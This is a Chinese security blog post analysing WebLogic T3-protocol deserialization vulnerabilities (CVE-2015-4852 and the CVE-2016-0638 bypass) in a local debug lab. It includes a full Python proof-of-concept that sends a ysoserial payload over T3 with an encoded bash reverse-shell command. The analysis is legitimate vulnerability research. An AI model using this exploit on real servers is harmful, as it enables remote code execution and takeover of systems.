文章转自先知社区:https://xz.aliyun.com/t/12397
作者:w0w
环境搭建
使用https://github.com/QAX-A-Team/WeblogicEnvironmentQAX的自动化搭建
参考:https://www.cnblogs.com/0x7e/p/14529949.html
(ps:ubuntu和centos,windows 感觉都不如kali来的润)
下载对应jdk和weblogic放到对应的文件夹
![图片[2]-Weblogic 关于T3协议和二次反序列化分析-NGC660安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-199253-1681969746.png)
然后就是修改Dockerfile,因为libnsl这个东西 会安装错误
vim Dockerfile
把RUN yum -y install libnsl
删除即可 (就只搭建环境浪费了我两天时间)
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 . docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21F
![图片[4]-Weblogic 关于T3协议和二次反序列化分析-NGC660安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-199253-1681969752.png)
(垃圾),到之后从kali中提出文件的时候 会拖不到本地来……
(最后还是 windows本地搭建的,在docker中走代理)
![图片[7]-Weblogic 关于T3协议和二次反序列化分析-NGC660安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-199253-1681969753.png)
远程调试
mkdir ./middleware mkdir -p ./coherence_3.7/lib docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/ docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/ docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib
直接拉到本地
如果不想这么麻烦的话可以直接运行对于的.sh脚本,比如这里安装的是1036 jdk是7u21 ,直接运行run_weblogicjdk7u21.sh,自动安装以及自动从容器里面导出jar包。
新建一个web项目 然后
打开wlserver目录
![图片[9]-Weblogic 关于T3协议和二次反序列化分析-NGC660安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-199253-1681969754.png)
然后add library刚刚导出的coherence_3.7/lib
和modules
配置远程调试
![图片[10]-Weblogic 关于T3协议和二次反序列化分析-NGC660安全实验室](http://ngc660.cn/wp-content/uploads/2023/04/d2b5ca33bd101824.png)
![图片[11]-Weblogic 关于T3协议和二次反序列化分析-NGC660安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-199253-1681969761.png)
点击debug
如此便是可以debug了
(搭环境搭了三天了………..) 开团!!!
验证环境
weblogic/wsee/jaxws/WLSServletAdapter.class
的handle方法打上断点(如果查不到使用全局搜索即可)
访问http://127.0.0.1:7001/wls-wsat/CoordinatorPortType
![图片[13]-Weblogic 关于T3协议和二次反序列化分析-NGC660安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-199253-1681969769.png)
关于T3协议
T3协议是Weblogic用于通信的独有的一个协议,Weblogic Server的RMI通信使用它在其他区的Java程序(包括 服务端,客户端,以及其他实例)传输数据。
T3协议的组成
![图片[14]-Weblogic 关于T3协议和二次反序列化分析-NGC660安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-199253-1681969771.png)
这里借一张图解释一下关于 T3协议的组成
ac ed 00 05
是反序列化标志,而在 T3 协议中每个序列化数据包前面都有fe 01 00 00
,所以 T3 的序列化标志为fe 01 00 00 ac ed 00 05
并且在发送T3协议的时候 还可以发送多个序列化数据 ,可以替换其中一个的序列化数据 实现反序列化攻击。
借qax的一张图解释
![图片[15]-Weblogic 关于T3协议和二次反序列化分析-NGC660安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-199253-1681969774.png)
基于T3协议的漏洞
关于T3协议 最开始的漏洞是CVE-2015-4852,随后都是绕过官方的补丁例如:CVE-2016-0638、CVE-2016-3510、CVE-2018-2628、CVE-2020-2555、CVE-2020-2883
CVE-2015-4852
在weblogic收到T3协议的时候
会在weblogic/rjvm/InboundMsgAbbrev.class
类中进行反序列化操作的处理
这里重写了readObject
调用了ServerChannelInputStream
![图片[17]-Weblogic 关于T3协议和二次反序列化分析-NGC660安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-199253-1681969775.png)
在ServerChannelInputStream
中 重写了resolveClass
但是其最终还是调用了父类的resolveClass
![图片[18]-Weblogic 关于T3协议和二次反序列化分析-NGC660安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-199253-1681969778.png)
![图片[19]-Weblogic 关于T3协议和二次反序列化分析-NGC660安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-199253-1681969781.png)
简单点说就是 ,resolveClass方法把类的序列化描述加工成该类的Class对象,所以这里也就是入口点
没有任何过滤的调用resolveClass ,可以加载恶意的Class对象
这里放入resolveClass的源码
![图片[20]-Weblogic 关于T3协议和二次反序列化分析-NGC660安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-199253-1681969782.png)
debug分析
POC:
from os import popen import struct # 负责大小端的转换 import subprocess from sys import stdout import socket import re import binascii def generatePayload(gadget, cmd): YSO_PATH = "./ysoserial-all.jar" popen = subprocess.Popen(['java', '-jar', YSO_PATH, gadget, cmd], stdout=subprocess.PIPE) return popen.stdout.read() def T3Exploit(ip, port, payload): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((ip, port)) handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" sock.sendall(handshake.encode()) data = sock.recv(1024) data += sock.recv(1024) compile = re.compile("HELO:(.*).0.false") print(data.decode()) match = compile.findall(data.decode()) if match: print("Weblogic: " + "".join(match)) else: print("Not Weblogic") return header = binascii.a2b_hex(b"00000000") t3header = binascii.a2b_hex( b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") desflag = binascii.a2b_hex(b"fe010000") payload = header + t3header + desflag + payload payload = struct.pack(">I", len(payload)) + payload[4:] sock.send(payload) if __name__ == "__main__": ip = "127.0.0.1" port = 7001 gadget = "CommonsCollections1" cmd = "bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2O**yLjE0OS84MDAwIDwmMSc=}|{base64,-d}|{bash,-i}" payload = generatePayload(gadget, cmd) T3Exploit(ip, port, payload)
var1是我们输入的序列化数据
![图片[21]-Weblogic 关于T3协议和二次反序列化分析-NGC660安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-199253-1681969783.png)
中间的一系列调用省略 直接到resolveClass类中
![图片[22]-Weblogic 关于T3协议和二次反序列化分析-NGC660安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-199253-1681969785.png)
这里的var1是AnnotationInvocationHandler,就直接到了cc1的起点
![图片[23]-Weblogic 关于T3协议和二次反序列化分析-NGC660安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-199253-1681969786.png)
调用getName方法获取类名,之后通过Class.forName方法获取对应的类,因为这里的resolveClass方法是直接使用的父类的该方法,并没有做出任何的安全过滤操作,所以能够实例化任意类
之后的利用T3协议反序列化的都是和黑名单、白名单斗智斗勇的
CVE-2016-0638
这个cve即是绕过2015补丁的也是一个二次反序列化的实例
关于Externalizable
![图片[24]-Weblogic 关于T3协议和二次反序列化分析-NGC660安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-199253-16819697861.png)
weblogic/jms/common/StreamMessageImpl
![图片[25]-Weblogic 关于T3协议和二次反序列化分析-NGC660安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-199253-1681969787.png)
可以看到调用了一次readExternal,又调用了一次readObject两次反序列化
这里我们跟进createPayload
方法
![图片[26]-Weblogic 关于T3协议和二次反序列化分析-NGC660安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-199253-1681969789.png)
readInt()读取 输入数据的长度,var0为输入数据
![图片[27]-Weblogic 关于T3协议和二次反序列化分析-NGC660安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-199253-1681969790.png)
Math.min(var1, Chunk.CHUNK_SIZE * 2)
取出chunk长度中较小的一位
![图片[28]-Weblogic 关于T3协议和二次反序列化分析-NGC660安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-199253-1681969791.png)
将我们的读取到的chunk进行反序列化,重写writeExternal()方法,将需要二次反序列化的数据写入,再次进行序列化即可。ref:https://www.anquanke.com/post/id/250801#h3-8
ref
https://www.cnblogs.com/nice0e3/p/14201884.html https://xz.aliyun.com/t/11078 https://www.freebuf.com/vuls/351801.html
本文作者:合天网安实验室
本文为安全脉搏专栏作者发布:https://www.secpulse.com/archives/199253.html
请登录后查看评论内容